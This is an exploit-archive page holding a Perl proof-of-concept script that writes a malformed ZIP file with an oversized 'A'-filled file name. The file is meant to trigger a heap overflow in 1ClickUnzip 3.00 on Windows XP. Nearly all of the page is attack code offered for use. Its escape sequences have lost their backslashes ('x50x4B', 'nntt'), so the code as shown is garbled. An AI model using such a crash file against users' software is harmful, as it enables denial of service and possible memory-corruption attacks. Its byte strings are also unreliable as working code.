[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : 1ClickUnzip 3.00 .ZIP File Heap Overflow Vulnerability
# Published : 2011-06-06
# Author :
# Previous Title : Simple HTTPd 1.42 Denial of Servive Exploit
# Next Title : SlimPDF Reader PoC
#!/usr/bin/perl
#
#[+]Exploit Title: 1ClickUnzip 3.00 .ZIP File Heap Overflow Vulnerability
#[+]Date: 05 62011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.softpedia.com/progDownload/1-Click-Unzip-Download-77210.html
#[+]Version: 3.0.0
#[+]Tested On: WIN-XP SP3 Brazilian Portuguese
#[+]CVE: N/A
#
#
use strict;
use warnings;
my $filename = "Exploit.zip";
print "nntt1ClickUnzip 3.0.0 .ZIP File Heap Overflown";
print "ttCreated by C4SS!0 G0M3Sn";
print "ttE-mail Louredo_@hotmail.comn";
print "ttSite www.exploit-br.org/nn";
sleep(1);
my $head = "x50x4Bx03x04x14x00x00".
"x00x00x00xB7xACxCEx34x00x00x00" .
"x00x00x00x00x00x00x00x00" .
"xe4x0f" .
"x00x00x00";
my $head2 = "x50x4Bx01x02x14x00x14".
"x00x00x00x00x00xB7xACxCEx34x00x00x00" .
"x00x00x00x00x00x00x00x00x00".
"xe4x0f".
"x00x00x00x00x00x00x01x00".
"x24x00x00x00x00x00x00x00";
my $head3 = "x50x4Bx05x06x00x00x00".
"x00x01x00x01x00".
"x12x10x00x00".
"x02x10x00x00".
"x00x00";
my $payload = "x41" x 4064;
$payload = $payload.".txt";
my $zip = $head.$payload.$head2.$payload.$head3;
open(FILE,">$filename") || die "[-]Error:n$!n";
print FILE $zip;
close(FILE);
print "[+] ZIP File Created With Sucess:)n";
sleep(3);